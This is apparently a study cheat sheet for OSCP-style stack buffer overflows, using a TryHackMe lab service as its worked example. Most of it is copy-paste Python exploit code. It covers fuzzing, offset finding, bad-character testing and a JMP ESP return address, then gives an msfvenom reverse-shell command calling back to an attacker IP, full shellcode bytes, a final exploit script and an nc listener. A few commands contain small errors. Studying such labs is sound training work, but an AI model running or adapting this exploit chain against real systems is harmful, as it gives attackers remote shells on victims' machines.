Buffer Overflow Framework
10 Steps to a shell on OSCP-like stack-based buffer overflows.
The below steps condensed into a table in a word document:
Overview
Once an initial understanding of of how to perform stack-based buffer overflows is obtained, use this template to ensure no steps are missed and commands can easily be copy/pasted.
Refer to buffer overflow external resources for more cheat sheets and the buffer overflow TryHackMe room.
TryHackMe room bufferoverflowprep Task 1 is used as an example in the below steps.
Identifying bad chars with Immunity's Mona (step 5) is the most significant tool I learned that was not covered in the OSCP labs or other common resources.
1. Identify Buffer Size
An example/test script that overflows the application buffer is provided similar to the following:
import socket, time, sys
ip = sys.argv[1]
port = 1337
timeout = 5
prefix = "OVERFLOW1 "
string = prefix + "A" * 2000
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
The application overflows at 2000 characters with the EIP overwritten by \x41\x41\x41\x41
(i.e. AAAA).

2. Find EIP Point
Replace the buffer
variable above with the output of the following:
msf-pattern_create -l 2000
import socket, time, sys
ip = "10.10.53.251"
port = 1337
timeout = 5
pattern = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co"
string = pattern
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
When ran, the application crashes. Capture the value of EIP as 6F43396E
.

3. Get Offset
Use the EIP value and find the offset:
msf-pattern_offset -l 1500 -q 6F43396E
4. Get Controllable Char Length
Add "post" = "D" * 500
to the payload to ensure there is enough space for shellcode after the application is overflowed.
import socket, time, sys
ip = "10.10.53.251"
port = 1337
timeout = 5
pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = "D" * 500
string = pre + eip + offset + post
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
As displayed in the stack view, there is more than enough room for shellcode to be placed after the EIP value.

5. Identify Bad Chars
Replace the "post" parameter with a badchar array and run the application.
Remove \x00 from the starting badchars array before testing, as this will always be a bad character.
import socket, time, sys
ip = "10.10.53.251"
port = 1337
timeout = 5
#chars removed: \x00
badchars = ("\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
pre = "A" * 1978
eip = "B" * 4
offset = "C" * 0
post = badchars
string = pre + eip + offset + post
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Use the mona debugger within Immunity to identify badchars by setting the mona working directory, creating a bytearray matching the bytearray used in the above python script, and using the ESP value to compare the two and find discrepancies (i.e. badchars).
!mona config -set workingfolder c:\windows\temp\
!mona bytearray -b "\x00"
!mona compare -f C:\windows\temp\bytearray.bin -a [esp value]
Badchars will be boxed in the mona display. Note the subsequent character is always affected and is usually not a badchar. Remove the badchars from the array and retest.

Once badchars are identified and removed from the badchar array, complete this step again to ensure all badchars are removed.
6. Find JMP ESP
Identify shellcode for a JMP ESP instruction as \xff\xe4
:
msf-nasm_shell
nasm > JMP ESP
00000000 FFE4 jmp esp
Find safe DLLs without ASLR and other stack overflow mitigations. Run the below command after Immunity is attached to the application but before the application is unpaused.
!mona modules

!mona find -s "\xff\xe4" -m "oscp.exe"
!mona find -s "\xff\xe4" -m "essfunc.dll"
Multiple suitable addresses are identified in essfunc.dll
that do not contain badchars.

The identified address 0x625011af
is used. Place in the python script in reverse as: "\xaf\x11\x50\x62
.
7. Generate Shellcode
msfvenom -p windows/shell_reverse_tcp lport=53 lhost=10.6.51.138 -f c -b "\x00\x07\2e\xa0" EXITFUNC=thread
Don't specify an encoder (e.g. x86/shikata_ga_nai). msfvenom will pick one for you.
8. Add NOPs
Add 10 \x90
nops (line 38, 40) to the payload after the EIP to ESP offset and before the shellcode payload.
import socket, time, sys
ip = "10.10.53.251"
port = 1337
timeout = 5
#chars removed \x00\x07\x2e\xa0
#msfvenom -p windows/shell_reverse_tcp lhost=10.6.51.138 lport=53 -f c -b "\x00\x07\x2e\xa0" EXITFUNC=thread
payload = ("\xdb\xc4\xbb\x43\xbc\x49\x27\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
"\x52\x31\x5f\x17\x03\x5f\x17\x83\x84\xb8\xab\xd2\xf6\x29\xa9"
"\x1d\x06\xaa\xce\x94\xe3\x9b\xce\xc3\x60\x8b\xfe\x80\x24\x20"
"\x74\xc4\xdc\xb3\xf8\xc1\xd3\x74\xb6\x37\xda\x85\xeb\x04\x7d"
"\x06\xf6\x58\x5d\x37\x39\xad\x9c\x70\x24\x5c\xcc\x29\x22\xf3"
"\xe0\x5e\x7e\xc8\x8b\x2d\x6e\x48\x68\xe5\x91\x79\x3f\x7d\xc8"
"\x59\xbe\x52\x60\xd0\xd8\xb7\x4d\xaa\x53\x03\x39\x2d\xb5\x5d"
"\xc2\x82\xf8\x51\x31\xda\x3d\x55\xaa\xa9\x37\xa5\x57\xaa\x8c"
"\xd7\x83\x3f\x16\x7f\x47\xe7\xf2\x81\x84\x7e\x71\x8d\x61\xf4"
"\xdd\x92\x74\xd9\x56\xae\xfd\xdc\xb8\x26\x45\xfb\x1c\x62\x1d"
"\x62\x05\xce\xf0\x9b\x55\xb1\xad\x39\x1e\x5c\xb9\x33\x7d\x09"
"\x0e\x7e\x7d\xc9\x18\x09\x0e\xfb\x87\xa1\x98\xb7\x40\x6c\x5f"
"\xb7\x7a\xc8\xcf\x46\x85\x29\xc6\x8c\xd1\x79\x70\x24\x5a\x12"
"\x80\xc9\x8f\xb5\xd0\x65\x60\x76\x80\xc5\xd0\x1e\xca\xc9\x0f"
"\x3e\xf5\x03\x38\xd5\x0c\xc4\x4d\x2c\x3d\x9e\x3a\x32\x41\x9e"
"\x8f\xbb\xa7\xf4\xff\xed\x70\x61\x99\xb7\x0a\x10\x66\x62\x77"
"\x12\xec\x81\x88\xdd\x05\xef\x9a\x8a\xe5\xba\xc0\x1d\xf9\x10"
"\x6c\xc1\x68\xff\x6c\x8c\x90\xa8\x3b\xd9\x67\xa1\xa9\xf7\xde"
"\x1b\xcf\x05\x86\x64\x4b\xd2\x7b\x6a\x52\x97\xc0\x48\x44\x61"
"\xc8\xd4\x30\x3d\x9f\x82\xee\xfb\x49\x65\x58\x52\x25\x2f\x0c"
"\x23\x05\xf0\x4a\x2c\x40\x86\xb2\x9d\x3d\xdf\xcd\x12\xaa\xd7"
"\xb6\x4e\x4a\x17\x6d\xcb\x6a\xfa\xa7\x26\x03\xa3\x22\x8b\x4e"
"\x54\x99\xc8\x76\xd7\x2b\xb1\x8c\xc7\x5e\xb4\xc9\x4f\xb3\xc4"
"\x42\x3a\xb3\x7b\x62\x6f")
pre = "A" * 1978
eip = "\xaf\x11\x50\x62" #0x625011af
offset = "C" * 0
nops = "\x90" * 10
post = payload
string = pre + eip + offset + nops + post
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
9. Listen for Shell
Set up a kali listener:
sudo nc -nvlp 53
10. Run the Exploit
python overflow8.py

Last updated